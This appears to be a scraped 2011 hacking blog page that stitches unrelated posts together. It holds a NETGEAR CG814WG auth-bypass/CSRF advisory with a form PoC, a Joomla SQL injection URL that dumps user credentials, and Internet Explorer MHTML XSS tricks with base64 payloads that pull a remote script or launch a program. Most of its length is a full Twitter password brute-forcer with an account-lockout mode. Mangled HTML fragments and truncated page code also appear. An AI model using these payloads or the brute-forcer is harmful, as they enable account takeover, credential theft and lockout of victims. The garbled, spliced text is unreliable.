Friday, December 30, 2011

NETGEAR Wireless Cable Modem Gateway Auth Bypass and CSRF

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Release Date.                  20-Sep-2011 Last Update.                    - Vendor Notification Date.      22-Mar-2011 Product.                        NETGEAR Wireless Cable Modem Gateway                                 CG814WG Affected versions.             Hardware 1.03,                                 Software V3.9.26 R14 verified,                                 possibly others Severity Rating.               High Impact.                         Authentication bypass,                                 Cross Site Request Forgery Attack Vector.                 Remote without  authentication Solution Status.               Upgrade to R15 (by  contacting NETGEAR) CVE reference.                 Not yet assigned    Details. The NETGEAR Wireless Cable Modem Gateway CG814WG is supplied by  ISP's as customer premises equipment within Australia and abroad. It is  a centrally managed ISP solution whereby each ISP's devices run a  customised firmware and configuration changes and updates can be pushed  out as required.   Basic authentication is used as the primary and only  authentication mechanism for the administrator interface on the device.  The basic authentication can be bypassed by sending a valid POST request  to the device without sending any authentication header. The response  from the device sends the user to another page that requests basic  authentication, however at this point the request has already been  processed.   An example of attacks using the basic authentication bypass  may include changing the admin password or enabling the remote admin  interface (Internet facing).   Additionally, due to the lack of CSRF  protection in the web application, the bypass attack can be coupled with  CSRF to have a victim enable the remote admin interface to the  Internet, where an attacker can then use the bypass attack again across  the remote admin interface to reset the admin password and access the  device. This attack is possible when targeting a victim that is behind  the NETGEAR device on the same segment as the web administrator  interface whom has browsed to a malicious site containing the CSRF  attack.   NETGEAR was notified of this vulnerability on 22 March 2011,  but we never received a response or acknowledgement of the issue or fix.  Sense of Security notified local ISP's and it was escalated by a local  ISP who worked with NETGEAR to develop and test an update. Sense of  Security was never provided an opportunity to validate the fixes in the  latest firmware version. Given the severity of the issue it would be  prudent for NETGEAR to notify and supply an update to all of its  customers.   Proof of Concept. By embedding the below HTML in a website  and having a victim browse to the website the remote management  interface to the Internet would be enabled. An attacker could then use  one of the hardcoded passwords for the device to access it, or use a  basic authentication bypass to change the admin password. Alternatively,  the attacker could conduct a CSRF attack that implements two POST  requests to have the remote admin interface enabled, and the admin  password changed.   The example here is a basic proof of concept, more  complex examples which include JavaScript redirects to mask the basic  authentication pop-up would be more stealthy.      
"http://192.168.0.1/goform/RgRemoteManagement"
method="POST" name="form"> "hidden" name="NetgearRmEnable" value="0x01"> "hidden" name="NetgearRmPortNumber" value="1337"> "hidden" name="NetgearUserLevel" value="1">
Solution. Ask your ISP to obtain the latest firmware from NETGEAR and deploy it to your device. Discovered by. Sense of Security Labs. :80:

Joomla Component Jobprofile SQL INJECTION

FROM:1337day.com


Code:
[~] Joomla Component Jobprofile (com_jobprofile) SQL Injection Vulnerability
[~] Author : kaMtiEz (kamtiez@exploit-id.com)
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id
[~] Date : 2 Dec , 2011
 
[ Software Information ]
 
[+] Vendor : http://www.thakkertech.com/
[+] INFO : http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11924
[+] Download : http://www.thakkertech.com/products/joomla-extensions/components/jobprofile-joomla-component-detail.html
[+] Version : null / 1.0 maybe :D
[+] Price : 25,00
[+] Vulnerability : SQL INJECTION
[+] Dork : "think it :D"
[+] LOCATION :  INDONESIA -
 
[ Vulnerable File ]
 
 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=[SQL]
 
[ XpL ]
 
 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--
 

Microsoft Internet Explorer MHTML Protocol Handler XSS

Hacking with mhtml protocol handler
 
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2011/1/15
References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
 
Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks...
 
1.Cross Site Scripting by upload mhtml file
 
Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the  mhtml file to a *.jpg file,etc. then upload it to the target site...
 
ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions
 
then use iframe tag src to it:
 

 
2.Cross Site Scripting mhtml-file string injection
 
the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked.
 
poc:
 
test it on win7 system pls.
 

 
if win-xp or win2k3 system,pls do it by the second urlencode.
 
mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :)
 
3.bypass X-Frame-Options
 
X-Frame-Options did not protect the mhtml protocol handler.
 
the demo:
 


 
4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul
 
Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used  "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it.
 
Demo:
 
test it on win2k3+ie8+Adobe Reader 9
 
http://www.80vul.com/hackgame/xs-g0.php?username=Administrator
 
 
5.mhtml+file://uncpath+word == local xss vul
 
demo:http://www.80vul.com/mhtml/word.doc
 
download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content.
 
this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2).
 
to make the proof of concept follow the following steps:
 
1-Make a html file and paste xss code
2-Open the html file with the word and save as c:\word.xml
3-Open the word.xml with the notepad,and inject the mhtml code in aaaaa 
4-Rename c:\word.xml to c:\word.doc
5-Open c:\word.doc file
 
xss code
---------------------------------------------------------


aaaaa
----------------------------------------------------------
 
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
 
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
 
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
--_boundary_by_mere--
 
*/
--------------------------------------------------------
 
if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :)
  
"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm
 
update
ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL()
 
 
6. Coss Zone Scripting
 
First we would like to mention a very old vulnerability:
 

 
This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3
 
Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:
 
xss code
---------------------------------------------------------


aaaaa
----------------------------------------------------------
 
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
 
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
 
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
--_boundary_by_mere--
 
*/
--------------------------------------------------------
 
 
thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.
 
 
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Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank 

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<button onmouseover="this.style.cursor='pointer'";  onClick="send()"><img src="images/send.gif" width="133">button><br>
<
input style="background: black; color: white; text-align: center" onFocus="value=''" type="text"  name="search" id="chat"  value="">
<
br>
<
div id="frame1">
<
iframe width="153" src="jkgh1g5h1j5gh12k5g21hk5gh5gf12tjf12cj125jyc2y5l6glug36gl36lg6gyk5f12yk1fgk515k125gyk251h125vh125kjhv51k.php">
iframe>
<
script>
function 
send()
{
var 
message document.getElementById('chat').value;
var 
meslen document.getElementById('chat').value.length;
if (
meslen <= 0)
{
alert('Please,write the message.');
}
else if (
meslen >= 81)
{
alert('Maximum characters in your messages must be 80');
}
else
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twitter brute force (py)

CODE:
#!/usr/bin/python
# Toolname   : twitteater.py
# Programmer : gunslinger_ 
# my forum   : www.devilzc0de.org/forum
# Version    : v1.0
# This was written for educational purpose only. 
# Use this at your own risk.
# Author will be not responsible for any damage !
# I'm preffer using curl on system than using pycurl

import sys, time, StringIO, commands, re, os, random 

# Define variable
__programmer__ = "gunslinger_ "
__version__    = "1.0"
twittbird    = '''
   +++                    ++++  ++++       +++
  +++++                                 ++++  ++++        +++++
  +++++                                  ++   ++++        +++++
  ++++++++++++++  ++       ++      ++         ++++        +++++           ++++         ++++++
  ++++++++++++++ ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++++++++    ++++++++++
  +++++          ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++   +++++  ++++++++++
  +++++          ++++     ++++    ++++  ++++  ++++++++++  +++++++++    +++++++++++++ +++++
  +++++          ++++    ++++++   ++++  ++++  +++++       +++++        +++++++++++++ ++++
   ++++++++++++  ++++++ +++++++  +++++  ++++   +++++++++   +++++++++   ++++          ++++
    ++++++++++++  +++++++++++++++++++   ++++    +++++++++   ++++++++   +++++++++++   ++++
     ++++++++++     +++++++  ++++++     ++++     ++++++++    +++++++     ++++++++    ++++
     "The bird has been eaten by python snake..."
     
     Programmer : %s
     Version    : %s
     Twitter bruteforcer & freezer
''' % (__programmer__, __version__)

option           = '''
Usage  : %s [options]
Option : -u, --username            |   User for bruteforcing
         -w, --wordlist            |   Wordlist used for bruteforcing
     -s, --singlepass          |   Use single password (for update status only) 
     -d, --updatestatus             |   Post new status at given username        
         -v, --verbose                |   Set %s will be verbose
         -p, --proxy             |   Set proxy will be use
         -t, --timeout             |   Set %s timeout request time (default : 15)
         -r, --refferer              |   Set %s refferer will be use (default : random)
         -f, --freeze                |   freeze user, user will be unable login for any minute
         -l, --log             |   Specify output filename (default : twitteater.log)
         -h, --help                    |   Print this help
                                                            
Example : 
     - bruteforcing mode  ~> %s -u brad@hackme.com -w wordlist.txt 
     - freeze mode          ~> %s -u brad@hackme.com -f
     - update status mode ~> %s -u brad@hackme.com -s hackmeifyoucan -d "Beware of Programmers who carry screwdrivers. -- Leonard Brandwein"
       
P.S : add "&" to run in the background  
''' % (sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0])

hme = '''
Usage : %s [option]
    -h or --help for get help''' % sys.argv[0]

refferer     = ['http://twitter.com/',
        'http://twitter.com/login',
        'http://twitter.com/about/contact',
        'http://blog.twitter.com/',
        'http://status.twitter.com/',
        'http://twitter.com/about',
        'http://twitter.com/about'
           ]

ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
            'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
            'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
            'Microsoft Internet Explorer/4.0b1 (Windows 95)',
            'Opera/8.00 (Windows NT 5.1; U; en)',
        'amaya/9.51 libwww/5.4.0',
        'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
        'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
        'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
        ]
freeze = False
upstat = False
brute = False
counter = 1
# warn , twitter will lock username after 17 x login attempt (tested)
maxlock = 18
verbocity = ''
proxy     = ''
background = ''
timeout      = '15'
statsurl  = 'http://twitter.com/statuses/update.xml'
credential = 'http://twitter.com/account/verify_credentials.xml'
green     = '\033[38m'
red     = '\033[31m'
reset     = '\033[0;0m'
log = "twitteater.log"
file = open(log, "a")

def helpme():
    print twittbird
    print option
    file.write(twittbird)
    file.write(option)
    sys.exit(1)
    
def helpmee():
    print twittbird
    print hme
    file.write(twittbird)
    file.write(hme)
    sys.exit(1)
        
for arg in sys.argv:
    if arg.lower() == '-u' or arg.lower() == '--user':
                username = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                brute = True
        elif arg.lower() == '-f' or arg.lower() == '--freeze':
                freeze = True
        elif arg.lower() == '-d' or arg.lower() == '--updatestatus':
            newstatus = sys.argv[int(sys.argv[1:].index(arg))+2]
            newstatus = newstatus.replace("_"," ")
                upstat = True
        elif arg.lower() == '-t' or arg.lower() == '--timeout':
                timeout = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-s' or arg.lower() == '--singlepass':
                password = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-r' or arg.lower() == '--refferer':
                refferer = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-p' or arg.lower() == '--proxy':
                proxy = '-x '+sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-v' or arg.lower() == '--verbose':
            verbocity = "-v"
        elif arg.lower() == '-l' or arg.lower() == '--log':
            log = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-h' or arg.lower() == '--help':
            helpme()
    elif len(sys.argv) <= 1:
        helpmee()

def updatestatus():
    
    trytwitter = 'curl -u %s:%s %s -d status=\"%s\" %s --connect-timeout %d -A \"%s\" %s' % (username, password, statsurl, newstatus, verbocity, int(timeout), random.choice(ouruseragent), proxy)
    restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
    updated = re.findall("", restwitter)
    duplicate = re.findall("Status is a duplicate.", restwitter)
    if verbocity == "-v":
        print restwitter
    if duplicate:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Duplicate status found\"")
        print "[*] Duplicate status is not accepted by twitter, please don't reduplicate it\n"
        file.write("\n[*] Duplicate status is not accepted by twitter, please don't reduplicate it!\n\n")
        sys.exit(1)
    if updated:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status successfully\"")
        print "[*] Update status : %s%s%s has been posted successfully ! \n" % (red, newstatus, reset)
        file.write("\n[*] Update status : %s has been posted successfully !\n\n" % (newstatus))
        sys.exit(1)
    else:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status failed\"")
        print "[*] password is wrong ! \n" 
        file.write("\n[*] password is wrong !\n\n")
        sys.exit(1)

def freezemode():
    global counter
    if freeze:
        print "[*] Trying to freeze account %s%s%s, user will be unable login for hour(s)" % (red, username, reset)
        file.write("\n[*] Trying to freeze account %s, user will be unable login for hour(s)" % (username))
        try:
            while counter <= maxlock:
                sys.stdout.write("\r[*] %s%d%s try has gived...                          " % (red, int(counter), reset))
                sys.stdout.flush()
                trytwitter = 'curl -u %s:freeze %s %s --connect-timeout %d' % (username, credential, verbocity, int(timeout))
                restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
                locked = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
                if locked:
                    os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account successfully freeze\"")
                    print "\n[*] Acount freeze %s%s%s succeded, and unable for login for %d seconds !" % (red, username, reset, int(locked[0]))
                    file.write("\n[*] Acount freeze %s succeded, and unable for login for %d seconds !\n\n" % (username, int(locked[0])))
                    sys.exit(1)
                if verbocity == "-v":
                    print restwitter
                counter = int(counter) + 1
        except KeyboardInterrupt:
            print "\n[-] Deactivated freezing mode\n"
            file.write("\n[-] Deactivated freezing mode\n")
            sys.exit(1)
        
def twitteater(word):
    global counter
    sys.stdout.write("\r[*] Trying %s is %s%d%s of %s%d%s                                  " % (word, red, int(counter), reset, red, len(words), reset))
    sys.stdout.flush()
    file.write("\n[*] Trying %s is %d of %d                                                \n" % (word, int(counter), len(words)))
         try:
        trytwitter = 'curl -u %s:%s %s -A "%s" %s -e %s --connect-timeout %d %s' % (username, word, credential, random.choice(ouruseragent), verbocity, random.choice(refferer), int(timeout), proxy)
        restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
        partwitter = re.findall("", restwitter)
        sick = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
        if sick:
            print "\n[*] Account %s%s%s has been freeze by twitter" % (red, username, reset)
            file.write("\n[*] Account %s has been freeze by twitter" % (username))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account has been freeze\"")
            sleeper = 0
            while sleeper <= int(sick[0]):
                sys.stdout.write("\r[*] Waiting %d second(s) for start bruteforcing again...           " % (int(sick[0])))
                sys.stdout.flush()
                sleeper = int(sleeper) + 1
                sick[0] = int(sick[0]) - 1
                time.sleep(1)
        if partwitter:
            print "\n[*] Account has been login successfully !"
            print "[*] Username : %s%s%s" % (red, username, reset)
            print "[*] Password : %s%s%s" % (red, word, reset)
            file.write("\n[*] Account has been login successfully !\n")
            file.write("[*] Username : %s\n" % (username))
            file.write("[*] Password : %s\n\n" % (word))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"login successfull !\"")
            sys.exit(1)
        if verbocity == "-v":
            print restwitter
    except KeyboardInterrupt:
        print "\n[-] Deactivated bruteforcing mode...\n"
        file.write("\n[-] Deactivated bruteforcing mode...\n")
        sys.exit(1)
    counter = int(counter) + 1
          
def bruteforcemode():
    global word        
    for word in words:
        twitteater(word.replace("\n",""))    

def main():
    global words
    print twittbird
    file.write(twittbird)
    print "[*] Starting attack at %s" % time.strftime("%X")
    file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
    if freeze:
        print "[*] %sFreeze%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Freeze mode activated")
    elif brute:
        print "[*] %sBruteforce%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] bruteforce mode activated")
    elif upstat:
        print "[*] %sUpdate status%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Update status mode activated")
    print "[*] Using PID : %s%s%s \n" % (red, os.getpid(), reset)
    file.write("\n[*] Using PID : %s \n" % (os.getpid()))
    if freeze:
        freezemode()
    if upstat:
        updatestatus()
    if brute:     
        try:
            preventstrokes = open(wordlist, "r")
            words            = preventstrokes.readlines()
            count          = 0 
            while count < len(words): 
                words[count] = words[count].strip() 
                count += 1 
        except(IOError): 
              print "\n[-] Error: Check your wordlist path\n"
            file.write("\n[-] Error: Check your wordlist path\n")
              sys.exit(1)
        bruteforcemode()
        twitteater(word)

    
if __name__ == '__main__':
    main()




Trick them with css (Copy past preventing)

Hello dudes i will show you how you can fool someone if he try to copy past your email address or any text in your lovely page

Step 1

Add this (css) code in to your page (internal or external its upon you)

PHP Code:
<style type="text/css">

.
fooling{
  
float:right;
  
font-size:.001px;
  
color:transparent;
  
display:inline-block;
  
width:0px;
  }
style
Step 2:

In the body i will give you an example what you could add (editable)

PHP Code:
my<span cl***="fooling">spam-span>email@yahoo<span cl***="fooling">removedspan>.com 
How it looks like in your page?
It will looks like that..

myemail@yahoo.com


Now after he copy past your email he will got this:

myspam-email@yahooremoved.com

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm As you can see copy past is not possible anymore its copying wrong text & because i know how evil you are... you can simple trick him with your fake (Phishing page link) DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Wireless LAN Access Point *WEBPAGE*

Just a simple web page I have made.
Note: Copy to a notepad and save as .html - *All files*



Code:
var Channel_24G_Text = new Array (" / 2.412GHz", " / 2.417GHz", " / 2.422GHz", " / 2.427GHz", " / 2.432GHz", 

                                  " / 2.437GHz", " / 2.442GHz", " / 2.447GHz", " / 2.452GHz", " / 2.457GHz",

                                  " / 2.462GHz", " / 2.467GHz", " / 2.472GHz");



var Band1Channel_20M = new Array (36,40,44,48);

var Band2Channel_20M = new Array (52,56,60,64);

var Band3Channel_20M = new Array (100,104,108,112,116,132,136,140);

var Band4Channel_20M = new Array (149,153,157,161);

var Band1Channel_40M = new Array (36,44);

var Band2Channel_40M = new Array (52,60);

var Band3Channel_40M = new Array (100,108,116,132);

var Band4Channel_40M = new Array (149,157);



var Band1Channel_20M_Text = new Array (" / 5.180GHz", " / 5.200GHz", " / 5.220GHz", " / 5.240GHz");

var Band2Channel_20M_Text = new Array (" / 5.260GHz", " / 5.280GHz", " / 5.300GHz", " / 5.320GHz");

var Band3Channel_20M_Text = new Array (" / 5.500GHz", " / 5.520GHz", " / 5.540GHz", " / 5.560GHz", " / 5.580GHz", " / 5.660GHz", " / 5.680GHz", " / 5.700GHz");

var Band4Channel_20M_Text = new Array (" / 5.745GHz", " / 5.765GHz", " / 5.785GHz", " / 5.805GHz");

var Band1Channel_40M_Text = new Array (" / 5.180GHz", " / 5.220GHz");

var Band2Channel_40M_Text = new Array (" / 5.260GHz", " / 5.300GHz");

var Band3Channel_40M_Text = new Array (" / 5.500GHz", " / 5.540GHz", " / 5.580GHz", " / 5.660GHz");

var Band4Channel_40M_Text = new Array (" / 5.745GHz", " / 5.785GHz");



var initRegion;

var changeMsg = "WARNING: Selecting the incorrect region may result in a violation of applicable law. \nDo you agree to act in accordance with these settings?";

var notShown = true; // only shown region change message once

var initialized = false;

function initScrn()

{

    var defaultKey;

    var fm=document.forms[0];

    var i;



 if(fm.tempSetting.value == 1)

 {

  var temp_region = parseInt(fm.tempRegion.value);

  if (temp_region == 12)

   fm.WRegion.selectedIndex=10;

  else if (temp_region >= 10 && temp_region <= 11)

   fm.WRegion.selectedIndex=temp_region+1;

  else

   fm.WRegion.selectedIndex=temp_region;

 }

        

    initRegion = fm.WRegion.selectedIndex;



    setOpMode();

    setChannel();

    for (i=0; i

    {

        if (fm.w_channel.options[i].value == fm.initChannel.value)

        {

            fm.w_channel[i].selected = true;

            break;

        }

    }

    for (i=0; i

    {

        if (fm.g_channel.options[i].value == fm.initGChannel.value)

        {

            fm.g_channel[i].selected = true;

            break;

        }

    }

    initialized=true;

}

function chgCh(from)

{

    if ( from == 2 )

    {

        var cf = document.forms[0];

        cf.only_mode.value = "1";

        cf.submit();

    }

    else

    {

        setOpMode();

        setChannel();

    }

}



function setOpMode()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;



 cf.opmode.options.length = 4;

 cf.opmode.options[0].text = "Up to 270Mbps at 2.4GHz";

 cf.opmode.options[1].text = "Up to 270Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[2].text = "Up to 130Mbps at 2.4GHz";

 cf.opmode.options[3].text = "Up to 130Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[0].value = "300Mbps";

 cf.opmode.options[1].value = "300Mbps_5G";

 cf.opmode.options[2].value = "130Mbps";

 cf.opmode.options[3].value = "130Mbps_5G";

 cf.opmode.selectedIndex = currentMode;

 

 if (cf.opmode.options[cf.opmode.selectedIndex].value.indexOf("5G") == -1) {

  cf.g_ssid.disabled = true;

  cf.g_channel.disabled = true;

 } else {

  cf.g_ssid.disabled = false;

  cf.g_channel.disabled = false;

 }

}

function setChannel()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var chIndex = cf.w_channel.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;

 var b1=0, b2=0, b3=0, b4=0;



 if (cf.nBand.value == "5G")

 {

  if (cf.opmode.selectedIndex == 1) // 40MHz

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_40M[b1] + Band1Channel_40M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_40M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {   

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_40M[b2] + Band2Channel_40M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_40M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_40M[b3] + Band3Channel_40M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_40M[b3];

       }

   }

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_40M[b4] + Band4Channel_40M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_40M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  else

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_20M[b1] + Band1Channel_20M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_20M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {        

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_20M[b2] + Band2Channel_20M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_20M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_20M[b3] + Band3Channel_20M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_20M[b3];

       }

   }    

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_20M[b4] + Band4Channel_20M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_20M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  //cf.w_channel.options[0].text = "Auto";

  //cf.w_channel.options[0].value = 0;

 }

 else

 {

  if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 1;

  else

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



  cf.w_channel.options[0].text = "Auto";

  cf.w_channel.options[0].value = 0;



  for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

   if (i==14 && cf.opmode.selectedIndex!=0)

    continue;

   cf.w_channel.options[i - StartChannel[index] + 1].value = i;

   cf.w_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i -1];

  }

  cf.w_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.w_channel.options.length)) ? chIndex : 0 ;

 }



 chIndex = cf.g_channel.selectedIndex;

 if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index];

 else

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



 cf.g_channel.options[0].text = "Auto";

 cf.g_channel.options[0].value = 0;



 for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

  if (i==14 && cf.opmode.selectedIndex!=0)

   continue;

  cf.g_channel.options[i - StartChannel[index] + 1].value = i;

  cf.g_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i-1];

 }

 cf.g_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.g_channel.options.length)) ? chIndex : 0 ;

}

function loadhelp(fname,anchname)

{

    if ((loadhelp.arguments.length == 1 ) || (anchname == "" ))

        top.helpframe.location.href=fname+"_h.htm";

    else

        top.helpframe.location.href=fname+"_h.htm#" + anchname;

}

function checkRegion()

{

    var cf = document.forms[0];

    if(cf.WRegion.selectedIndex == 0)

    {

        cf.WRegion.focus();

        return alertR("Please select the correct region for your location");

    }

    if (notShown)

        notShown = false;

    else if(cf.WRegion.selectedIndex != initRegion && notShown)

    {

        if(!confirm(changeMsg))

            return false;

        else notShown = false;

    }

    return true;

}

function checkData()

{

    var cf = document.forms[0];

    if(!checkRegion()) return false;



    if (cf.ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }



    if (cf.g_ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.g_ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }

